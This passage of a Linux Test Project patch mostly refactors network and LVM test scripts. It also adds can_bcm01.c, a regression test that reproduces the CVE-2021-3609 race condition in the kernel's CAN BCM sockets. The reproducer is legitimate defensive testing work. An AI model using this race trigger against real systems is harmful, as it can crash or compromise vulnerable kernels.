+++ b/testcases/misc/lvm/generate_lvm_runfile.sh
@@ -1,23 +1,23 @@
-#!/bin/sh
+#!/bin/sh -e
 # SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2020 SUSE LLC <mdoucha@suse.cz>
+# Copyright (c) Linux Test Project, 2020-2022
 #
 # Generate LTP runfile for LVM tests (runtest/lvm.local)
 
 TST_TESTFUNC=generate_runfile
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="sed"
-. tst_test.sh
 
 LVM_DIR="${LVM_DIR:-/tmp}"
 LVM_TMPDIR="$LVM_DIR/ltp/growfiles"
 
 generate_runfile()
 {
-	trap 'tst_brk TBROK "Cannot create LVM runfile"' ERR
+	trap '[ $? -eq 0 ] || tst_brk TBROK "Cannot create LVM runfile"' EXIT
 	INFILE="$LTPROOT/testcases/data/lvm/runfile.tpl"
 	OUTFILE="$LTPROOT/runtest/lvm.local"
-	FS_LIST=`tst_supported_fs`
+	FS_LIST=$(tst_supported_fs -s tmpfs)
 	echo -n "" >"$OUTFILE"
 
 	for fsname in $FS_LIST; do
@@ -30,4 +30,5 @@
 	tst_res TPASS "Runfile $OUTFILE successfully created"
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/misc/lvm/prepare_lvm.sh b/testcases/misc/lvm/prepare_lvm.sh
index b6557f2..29f386d 100755
--- a/testcases/misc/lvm/prepare_lvm.sh
+++ b/testcases/misc/lvm/prepare_lvm.sh
@@ -7,7 +7,6 @@
 TST_TESTFUNC=prepare_lvm
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="mount pvcreate vgcreate lvcreate"
-. tst_test.sh
 
 LVM_DIR="${LVM_DIR:-/tmp}"
 LVM_TMPDIR="$LVM_DIR/ltp/growfiles"
@@ -71,7 +70,7 @@
 
 prepare_lvm()
 {
-	FS_LIST=`tst_supported_fs | sort -u`
+	FS_LIST=$(tst_supported_fs -s tmpfs | sort -u)
 	ROD mkdir -p "$LVM_TMPDIR"
 	ROD mkdir -p "$LVM_IMGDIR"
 	chmod 777 "$LVM_TMPDIR"
@@ -81,4 +80,5 @@
 	tst_res TPASS "LVM mounts are ready"
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/network/.gitignore b/testcases/network/.gitignore
index dab2bc3..c651139 100644
--- a/testcases/network/.gitignore
+++ b/testcases/network/.gitignore
@@ -24,6 +24,7 @@
 /sctp/sctp_big_chunk
 /sockets/ltpClient
 /sockets/ltpServer
+/sockets/vsock01
 /stress/ns-tools/ns-icmp_redirector
 /stress/ns-tools/ns-icmpv4_sender
 /stress/ns-tools/ns-icmpv6_sender
diff --git a/testcases/network/Makefile b/testcases/network/Makefile
index 7b42614..ccc9083 100644
--- a/testcases/network/Makefile
+++ b/testcases/network/Makefile
@@ -1,3 +1,4 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (C) 2009, Cisco Systems Inc.
 # Copyright (c) 2020 Petr Vorel <pvorel@suse.cz>
 # Ngie Cooper, July 2009
diff --git a/testcases/network/busy_poll/busy_poll01.sh b/testcases/network/busy_poll/busy_poll01.sh
index d306d1b..65f4db3 100755
--- a/testcases/network/busy_poll/busy_poll01.sh
+++ b/testcases/network/busy_poll/busy_poll01.sh
@@ -4,8 +4,6 @@
 #
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-. busy_poll_lib.sh
-
 cleanup()
 {
 	[ -n "$busy_read_old" ] && \
@@ -21,22 +19,19 @@
 set_busy_poll()
 {
 	local value=${1:-"0"}
-	ROD_SILENT sysctl -q -w net.core.busy_read=$value
-	ROD_SILENT sysctl -q -w net.core.busy_poll=$value
-
-	tst_rhost_run -s -c "sysctl -q -w net.core.busy_read=$value"
-	tst_rhost_run -s -c "sysctl -q -w net.core.busy_poll=$value"
+	tst_set_sysctl net.core.busy_read $value safe
+	tst_set_sysctl net.core.busy_poll $value safe
 }
 
 setup()
 {
 	busy_poll_check_config
 
-	busy_read_old="$(cat /proc/sys/net/core/busy_read)"
-	busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
+	busy_read_old="$(sysctl -n net.core.busy_read)"
+	busy_poll_old="$(sysctl -n net.core.busy_poll)"
 
-	rbusy_read_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_read')
-	rbusy_poll_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_poll')
+	rbusy_read_old=$(tst_rhost_run -c 'sysctl -ne net.core.busy_read')
+	rbusy_poll_old=$(tst_rhost_run -c 'sysctl -ne net.core.busy_poll')
 }
 
 test()
@@ -50,4 +45,5 @@
 	tst_netload_compare $(cat res_0) $(cat res_50) 1
 }
 
+. busy_poll_lib.sh
 tst_run
diff --git a/testcases/network/busy_poll/busy_poll02.sh b/testcases/network/busy_poll/busy_poll02.sh
index d02aa73..ebae4d2 100755
--- a/testcases/network/busy_poll/busy_poll02.sh
+++ b/testcases/network/busy_poll/busy_poll02.sh
@@ -4,8 +4,6 @@
 #
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-. busy_poll_lib.sh
-
 cleanup()
 {
 	[ -n "$busy_poll_old" ] && \
@@ -17,16 +15,15 @@
 set_busy_poll()
 {
 	local value=${1:-"0"}
-	ROD_SILENT sysctl -q -w net.core.busy_poll=$value
-	tst_rhost_run -s -c "sysctl -q -w net.core.busy_poll=$value"
+	tst_set_sysctl net.core.busy_poll $value safe
 }
 
 setup()
 {
 	busy_poll_check_config
 
-	busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
-	rbusy_poll_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_poll')
+	busy_poll_old="$(sysctl -n net.core.busy_poll)"
+	rbusy_poll_old=$(tst_rhost_run -c 'sysctl -ne net.core.busy_poll')
 }
 
 test()
@@ -40,4 +37,5 @@
 	tst_netload_compare $(cat res_0) $(cat res_50) 1
 }
 
+. busy_poll_lib.sh
 tst_run
diff --git a/testcases/network/busy_poll/busy_poll03.sh b/testcases/network/busy_poll/busy_poll03.sh
index f6f1ac1..04d5978 100755
--- a/testcases/network/busy_poll/busy_poll03.sh
+++ b/testcases/network/busy_poll/busy_poll03.sh
@@ -6,8 +6,6 @@
 
 TST_TEST_DATA="udp udp_lite"
 
-. busy_poll_lib.sh
-
 cleanup()
 {
 	[ -n "$busy_poll_old" ] && \
@@ -19,16 +17,15 @@
 set_busy_poll()
 {
 	local value=${1:-"0"}
-	ROD_SILENT sysctl -q -w net.core.busy_poll=$value
-	tst_rhost_run -s -c "sysctl -q -w net.core.busy_poll=$value"
+	tst_set_sysctl net.core.busy_poll $value safe
 }
 
 setup()
 {
 	busy_poll_check_config
 
-	busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
-	rbusy_poll_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_poll')
+	busy_poll_old="$(sysctl -n net.core.busy_poll)"
+	rbusy_poll_old=$(tst_rhost_run -c 'sysctl -ne net.core.busy_poll')
 }
 
 test()
@@ -43,4 +40,5 @@
 	tst_netload_compare $(cat res_0) $(cat res_50) 1
 }
 
+. busy_poll_lib.sh
 tst_run
diff --git a/testcases/network/busy_poll/busy_poll_lib.sh b/testcases/network/busy_poll/busy_poll_lib.sh
index 5270a1b..de61d3f 100755
--- a/testcases/network/busy_poll/busy_poll_lib.sh
+++ b/testcases/network/busy_poll/busy_poll_lib.sh
@@ -12,8 +12,6 @@
 # for more stable results set to a single thread
 TST_NETLOAD_CLN_NUMBER=1
 
-. tst_net.sh
-
 busy_poll_check_config()
 {
 	if [ ! -f "/proc/sys/net/core/busy_read" -a \
@@ -25,9 +23,7 @@
 		ethtool --show-features $(tst_iface) | \
 			grep -q 'busy-poll.*on' || \
 			tst_brk TCONF "busy poll not supported by driver"
-	else
-		drvs="bnx2x|bnxt|cxgb4|enic|benet|ixgbe|ixgbevf|mlx4|mlx5|myri10ge|sfc|virtio"
-		ethtool -i $(tst_iface) | grep -qE "driver: ($drvs)" || \
-			tst_brk TCONF "busy poll not supported"
 	fi
 }
+
+. tst_net.sh
diff --git a/testcases/network/can/Makefile b/testcases/network/can/Makefile
index a69f6be..00277e0 100644
--- a/testcases/network/can/Makefile
+++ b/testcases/network/can/Makefile
@@ -1,22 +1,5 @@
-#
-#    network/can test suite Makefile.
-#
-#    Copyright (c) 2014 Fujitsu Ltd.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2014 Fujitsu Ltd.
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/can/cve/.gitignore b/testcases/network/can/cve/.gitignore
new file mode 100644
index 0000000..3d138b0
--- /dev/null
+++ b/testcases/network/can/cve/.gitignore
@@ -0,0 +1 @@
+/can_bcm01
diff --git a/testcases/network/can/cve/Makefile b/testcases/network/can/cve/Makefile
new file mode 100644
index 0000000..86f84e9
--- /dev/null
+++ b/testcases/network/can/cve/Makefile
@@ -0,0 +1,10 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+can_bcm01: CFLAGS += -pthread
+can_bcm01: LDLIBS += -lrt
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/can/cve/can_bcm01.c b/testcases/network/can/cve/can_bcm01.c
new file mode 100644
index 0000000..79a827c
--- /dev/null
+++ b/testcases/network/can/cve/can_bcm01.c
@@ -0,0 +1,162 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2020 SUSE LLC <mdoucha@suse.cz>
+ *
+ * CVE-2021-3609
+ *
+ * Test for race condition vulnerability in CAN BCM. Fixed in:
+ *
+ *  commit d5f9023fa61ee8b94f37a93f08e94b136cf1e463
+ *  Author: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
+ *  Date:   Sat Jun 19 13:18:13 2021 -0300
+ *
+ *  can: bcm: delay release of struct bcm_op after synchronize_rcu()
+ *
+ * The test is skipped when running in 32-bit compat mode. The kernel
+ * compatibility layer for CAN structures is not implemented at the
+ * time of writing.
+ */
+
+#include "config.h"
+#include "tst_test.h"
+
+#ifdef HAVE_LINUX_CAN_H
+
+#include <linux/can.h>
+#include <linux/can/bcm.h>
+
+#include "tst_netdevice.h"
+#include "tst_fuzzy_sync.h"
+
+#define LTP_DEVICE "ltp_vcan0"
+
+struct test_payload {
+	struct bcm_msg_head head;
+	struct can_frame frame;
+};
+
+static int sock1 = -1, sock2 = -1;
+static struct tst_fzsync_pair fzsync_pair;
+
+static void setup(void)
+{
+	struct sockaddr_can addr = { .can_family = AF_CAN };
+
+	/*
+	 * Older kernels require explicit modprobe of vcan. Newer kernels
+	 * will load the modules automatically and support CAN in network
+	 * namespace which would eliminate the need for running the test
+	 * with root privileges.
+	 */
+	tst_cmd((const char*[]){"modprobe", "vcan", NULL}, NULL, NULL, 0);
+
+	NETDEV_ADD_DEVICE(LTP_DEVICE, "vcan");
+	NETDEV_SET_STATE(LTP_DEVICE, 1);
+	addr.can_ifindex = NETDEV_INDEX_BY_NAME(LTP_DEVICE);
+	addr.can_addr.tp.rx_id = 1;
+	sock1 = SAFE_SOCKET(AF_CAN, SOCK_DGRAM, CAN_BCM);
+	SAFE_CONNECT(sock1, (struct sockaddr *)&addr, sizeof(addr));
+
+	fzsync_pair.exec_loops = 100000;
+	tst_fzsync_pair_init(&fzsync_pair);
+}
+
+static void *thread_run(void *arg)
+{
+	struct test_payload data = {
+		{
+			.opcode = TX_SEND,
+			.flags = RX_NO_AUTOTIMER,
+			.count = -1,
+			.nframes = 1
+		},
+		{0}
+	};
+	struct iovec iov = {
+		.iov_base = &data,
+		.iov_len = sizeof(data)
+	};
+	struct msghdr msg = {
+		.msg_iov = &iov,
+		.msg_iovlen = 1
+	};
+
+	while (tst_fzsync_run_b(&fzsync_pair)) {
+		tst_fzsync_start_race_b(&fzsync_pair);
+		SAFE_SENDMSG(iov.iov_len, sock1, &msg, 0);
+		tst_fzsync_end_race_b(&fzsync_pair);
+	}
+
+	return arg;
+}
+
+static void run(void)
+{
+	struct sockaddr_can addr = { .can_family = AF_CAN };
+	struct bcm_msg_head data = {
+		.opcode = RX_SETUP,
+		.flags = RX_FILTER_ID | SETTIMER | STARTTIMER,
+		.ival1.tv_sec = 1,
+		.ival2.tv_sec = 1
+	};
+	struct iovec iov = {
+		.iov_base = &data,
+		.iov_len = sizeof(data)
+	};
+	struct msghdr msg = {
+		.msg_iov = &iov,
+		.msg_iovlen = 1,
+	};
+
+	tst_fzsync_pair_reset(&fzsync_pair, thread_run);
+
+	while (tst_fzsync_run_a(&fzsync_pair)) {
+		sock2 = SAFE_SOCKET(AF_CAN, SOCK_DGRAM, CAN_BCM);
+		SAFE_CONNECT(sock2, (struct sockaddr *)&addr, sizeof(addr));
+		SAFE_SENDMSG(iov.iov_len, sock2, &msg, 0);
+		tst_fzsync_start_race_a(&fzsync_pair);
+		SAFE_CLOSE(sock2);
+		tst_fzsync_end_race_a(&fzsync_pair);
+	}
+
+	tst_res(TPASS, "Nothing bad happened, probably");
+}
+
+static void cleanup(void)
+{
+	tst_fzsync_pair_cleanup(&fzsync_pair);
+
+	if (sock1 >= 0)
+		SAFE_CLOSE(sock1);
+
+	if (sock2 >= 0)
+		SAFE_CLOSE(sock2);
+
+	NETDEV_REMOVE_DEVICE(LTP_DEVICE);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.needs_root = 1,
+	.skip_in_compat = 1,
+	.max_runtime = 30,
+	.needs_drivers = (const char *const[]) {
+		"vcan",
+		"can-bcm",
+		NULL
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "d5f9023fa61e"},
+		{"CVE", "2021-3609"},
+		{}
+	}
+};
+
+#else
+
+TST_TEST_TCONF("The test was built without <linux/can.h>");
+
+#endif /* HAVE_LINUX_CAN_H */
diff --git a/testcases/network/can/filter-tests/Makefile b/testcases/network/can/filter-tests/Makefile
index bd57c7f..6a33024 100644
--- a/testcases/network/can/filter-tests/Makefile
+++ b/testcases/network/can/filter-tests/Makefile
@@ -1,19 +1,5 @@
-#
-#    Copyright (c) 2014 Fujitsu Ltd.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2014 Fujitsu Ltd.
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/can/filter-tests/can_filter.c b/testcases/network/can/filter-tests/can_filter.c
index ed35b08..f2704c2 100644
--- a/testcases/network/can/filter-tests/can_filter.c
+++ b/testcases/network/can/filter-tests/can_filter.c
@@ -172,7 +172,7 @@
 static struct tst_test test = {
 	.tcnt = TC,
 	.options = (struct tst_option[]) {
-		{"D:", &can_dev_name, "-D <device>   CAN device name"},
+		{"D:", &can_dev_name, "CAN device name"},
 		{}
 	},
 	.setup = setup,
diff --git a/testcases/network/can/filter-tests/can_rcv_own_msgs.c b/testcases/network/can/filter-tests/can_rcv_own_msgs.c
index dc29d19..609ceb6 100644
--- a/testcases/network/can/filter-tests/can_rcv_own_msgs.c
+++ b/testcases/network/can/filter-tests/can_rcv_own_msgs.c
@@ -134,7 +134,7 @@
 
 static struct tst_test test = {
 	.options = (struct tst_option[]) {
-		{"D:", &can_dev_name, "-D <device>   CAN device name"},
+		{"D:", &can_dev_name, "CAN device name"},
 		{}
 	},
 	.setup = setup,
diff --git a/testcases/network/dccp/dccp01.sh b/testcases/network/dccp/dccp01.sh
index 4d8e6e0..b139d6c 100755
--- a/testcases/network/dccp/dccp01.sh
+++ b/testcases/network/dccp/dccp01.sh
@@ -7,7 +7,6 @@
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_ROOT=1
 
-. tst_net.sh
 
 test1()
 {
@@ -30,4 +29,5 @@
 	tst_netload_compare $res0 $res1 -100 100
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/dhcp/Makefile b/testcases/network/dhcp/Makefile
index 9176e7b..3993019 100644
--- a/testcases/network/dhcp/Makefile
+++ b/testcases/network/dhcp/Makefile
@@ -1,19 +1,6 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2014-2015 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (C) 2009, Cisco Systems Inc.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
 top_srcdir		?= ../../..
 
@@ -21,6 +8,4 @@
 
 INSTALL_TARGETS		:= dhcp_lib.sh dhcpd_tests.sh dnsmasq_tests.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/dhcp/dhcp_lib.sh b/testcases/network/dhcp/dhcp_lib.sh
index 730bdad..4e8166d 100755
--- a/testcases/network/dhcp/dhcp_lib.sh
+++ b/testcases/network/dhcp/dhcp_lib.sh
@@ -1,19 +1,16 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2014-2018 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Author:       Alexey Kodanev alexey.kodanev@oracle.com
 
-TST_SETUP="dhcp_lib_setup"
-TST_CLEANUP="dhcp_lib_cleanup"
+TST_SETUP="${TST_SETUP:-dhcp_lib_setup}"
+TST_CLEANUP="${TST_CLEANUP:-dhcp_lib_cleanup}"
 TST_TESTFUNC="test01"
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="cat $dhcp_name awk ip pgrep pkill dhclient"
 
-. tst_net.sh
-. daemonlib.sh
-
 iface0="ltp_veth0"
 iface1="ltp_veth1"
 
@@ -58,12 +55,12 @@
 	lsmod | grep -q '^veth ' && veth_loaded=yes || veth_loaded=no
 
 	tst_res TINFO "create veth interfaces"
-	ip li add $iface0 type veth peer name $iface1 || \
+	ip link add $iface0 type veth peer name $iface1 || \
 		tst_brk TBROK "failed to add veth $iface0"
 
 	veth_added=1
-	ip li set up $iface0 || tst_brk TBROK "failed to bring $iface0 up"
-	ip li set up $iface1 || tst_brk TBROK "failed to bring $iface1 up"
+	ip link set up $iface0 || tst_brk TBROK "failed to bring $iface0 up"
+	ip link set up $iface1 || tst_brk TBROK "failed to bring $iface1 up"
 
 	stop_dhcp || tst_brk TBROK "Failed to stop dhcp server"
 
@@ -102,7 +99,7 @@
 	[ -f "dhclient${TST_IPV6}.leases" ] && \
 		mv dhclient${TST_IPV6}.leases $dhclient_lease
 
-	[ $veth_added ] && ip li del $iface0
+	[ $veth_added ] && ip link del $iface0
 
 	[ "$veth_loaded" = "no" ] && lsmod | grep -q '^veth ' && rmmod veth
 }
@@ -174,3 +171,6 @@
 
 	stop_dhcp
 }
+
+. tst_net.sh
+. daemonlib.sh
diff --git a/testcases/network/dhcp/dhcpd_tests.sh b/testcases/network/dhcp/dhcpd_tests.sh
index 23dc8a4..69c631d 100755
--- a/testcases/network/dhcp/dhcpd_tests.sh
+++ b/testcases/network/dhcp/dhcpd_tests.sh
@@ -7,10 +7,9 @@
 # Author:       Manoj Iyer, manjo@mail.utexas.edu
 # Author:       Alexey Kodanev alexey.kodanev@oracle.com
 
-dhcp_name="dhcpd"
-
-. dhcp_lib.sh
 TST_SETUP="setup_dhcp"
+
+dhcp_name="dhcpd"
 lease_dir="/var/lib/misc"
 lease_file="$lease_dir/dhcpd.leases_tst"
 
@@ -84,4 +83,5 @@
 	dhcpd --version 2>&1
 }
 
+. dhcp_lib.sh
 tst_run
diff --git a/testcases/network/dhcp/dnsmasq_tests.sh b/testcases/network/dhcp/dnsmasq_tests.sh
index 855a742..0183c1d 100755
--- a/testcases/network/dhcp/dnsmasq_tests.sh
+++ b/testcases/network/dhcp/dnsmasq_tests.sh
@@ -5,20 +5,6 @@
 #
 # Author: Alexey Kodanev alexey.kodanev@oracle.com
 
-dhcp_name="dnsmasq"
-
-. dhcp_lib.sh
-
-log="/var/log/dnsmasq.tst.log"
-
-lease_dir="/var/lib/misc"
-tst_selinux_enforced && lease_dir="/var/lib/dnsmasq"
-lease_file="$lease_dir/dnsmasq.tst.leases"
-
-common_opt="--no-hosts --no-resolv --dhcp-authoritative \
-	--log-facility=$log --interface=$iface0 \
-	--dhcp-leasefile=$lease_file --port=0 --conf-file= "
-
 start_dhcp()
 {
 	dnsmasq $common_opt \
@@ -47,4 +33,18 @@
 	dnsmasq --version | head -2
 }
 
+. dhcp_lib.sh
+
+lease_dir="/var/lib/misc"
+tst_selinux_enforced && lease_dir="/var/lib/dnsmasq"
+
+dhcp_name="dnsmasq"
+log="/var/log/dnsmasq.tst.log"
+
+lease_file="$lease_dir/dnsmasq.tst.leases"
+
+common_opt="--no-hosts --no-resolv --dhcp-authoritative \
+	--log-facility=$log --interface=$iface0 \
+	--dhcp-leasefile=$lease_file --port=0 --conf-file= "
+
 tst_run
diff --git a/testcases/network/iproute/Makefile b/testcases/network/iproute/Makefile
index 0774380..30d8e11 100644
--- a/testcases/network/iproute/Makefile
+++ b/testcases/network/iproute/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/iproute testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
@@ -26,6 +8,4 @@
 
 INSTALL_TARGETS		:= ip_tests.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/iproute/ip_tests.sh b/testcases/network/iproute/ip_tests.sh
index 1527445..ee97680 100755
--- a/testcases/network/iproute/ip_tests.sh
+++ b/testcases/network/iproute/ip_tests.sh
@@ -15,7 +15,6 @@
 TST_NEEDS_CMDS="cat awk diff"
 TST_NEEDS_DRIVERS="dummy"
 
-. tst_net.sh
 
 rm_dummy=
 
@@ -251,4 +250,5 @@
 	tst_res TPASS "'ip maddr' command successfully tested"
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/iptables/iptables01.sh b/testcases/network/iptables/iptables01.sh
index b788b91..6e141a9 100755
--- a/testcases/network/iptables/iptables01.sh
+++ b/testcases/network/iptables/iptables01.sh
@@ -5,5 +5,4 @@
 use_iptables=1
 
 . iptables_lib.sh
-
 tst_run
diff --git a/testcases/network/iptables/iptables_lib.sh b/testcases/network/iptables/iptables_lib.sh
index ad2a894..ab76cbd 100755
--- a/testcases/network/iptables/iptables_lib.sh
+++ b/testcases/network/iptables/iptables_lib.sh
@@ -1,5 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) Linux Test Project, 2019-2022
 # Copyright (c) 2018-2019 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2001
 #
@@ -14,8 +15,6 @@
 TST_CLEANUP="${TST_CLEANUP:-cleanup}"
 TST_NEEDS_CMDS="grep telnet"
 
-. tst_net.sh
-
 NFRUN()
 {
 	local rule
@@ -379,3 +378,5 @@
 	tst_res TINFO "$toolname limited logging succsess"
 	tst_res TPASS "$toolname can log packets with limited rate"
 }
+
+. tst_net.sh
diff --git a/testcases/network/iptables/nft01.sh b/testcases/network/iptables/nft01.sh
index bf2a53c..2bb5779 100755
--- a/testcases/network/iptables/nft01.sh
+++ b/testcases/network/iptables/nft01.sh
@@ -9,8 +9,6 @@
 cleanup_table=0
 cleanup_chain=0
 
-. iptables_lib.sh
-
 do_setup()
 {
 	init
@@ -35,4 +33,5 @@
 	cleanup
 }
 
+. iptables_lib.sh
 tst_run
diff --git a/testcases/network/lib6/Makefile b/testcases/network/lib6/Makefile
index e9fde3b..0092fa9 100644
--- a/testcases/network/lib6/Makefile
+++ b/testcases/network/lib6/Makefile
@@ -1,25 +1,5 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2001
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-
-###########################################################################
-# name of file	: Makefile						  #
-# description	: make(1) description file for lib6 tests.	  	  #
-###########################################################################
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2001
 
 top_srcdir			?= ../../..
 
diff --git a/testcases/network/lib6/getaddrinfo_01.c b/testcases/network/lib6/getaddrinfo_01.c
index db252a9..8c76f5d 100644
--- a/testcases/network/lib6/getaddrinfo_01.c
+++ b/testcases/network/lib6/getaddrinfo_01.c
@@ -1,979 +1,324 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) 2021, BELLSOFT. All rights reserved.
  * Copyright (c) 2015 Fujitsu Ltd.
  * Copyright (c) International Business Machines  Corp., 2001
  *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- *
  * Author: David L Stevens
  */
 
+/*\
+ * [Description]
+ *
+ * Basic getaddrinfo() tests.
+ *
+ * The test adds LTP specific addresses and names to /etc/hosts to avoid
+ * DNS, hostname setup issues and conflicts with existing configuration.
+ */
+
 #include <unistd.h>
 #include <errno.h>
+#include <stdlib.h>
 
 #include <sys/socket.h>
 #include <netdb.h>
 #include <arpa/inet.h>
 #include <sys/param.h>
 
-#include "test.h"
+#include "tst_safe_stdio.h"
+#include "tst_test.h"
+#include "tst_safe_net.h"
 
 #ifndef AI_V4MAPPED
-#define AI_V4MAPPED    0x0008	/* IPv4 mapped addresses are acceptable.  */
+# define AI_V4MAPPED    0x0008	/* IPv4 mapped addresses are acceptable.  */
 #endif
 
-static void setup(void);
-static void gaiv4(void);
-static void gaiv6(void);
+static const char *const host_file = "/etc/hosts";
+static const char *hostname;
+static const char *shortname;
+static sa_family_t family;
+static int host_file_changed;
 
-char *TCID = "getaddrinfo_01";
-int TST_TOTAL = 22;
-
-int main(int argc, char *argv[])
+static void verify_res(struct addrinfo *res, int sock_type, in_port_t servnum,
+		       int (*test_cb)(struct addrinfo *))
 {
-	int lc;
+	sa_family_t sin_family = 0;
+	in_port_t sin_port = 0;
+	struct addrinfo *p = res;
+	int got_tcp = 0;
+	int got_udp = 0;
+	int ret = 0;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	size_t exp_addrlen = (family == AF_INET) ? sizeof(struct sockaddr_in) :
+			     sizeof(struct sockaddr_in6);
 
-	setup();
+	for (; p; p = p->ai_next) {
+		ret |= p->ai_family != family;
+		ret |= p->ai_addrlen != exp_addrlen;
+		ret |= p->ai_addr == 0;
+		got_tcp |= p->ai_socktype == SOCK_STREAM;
+		got_udp |= p->ai_socktype == SOCK_DGRAM;
 
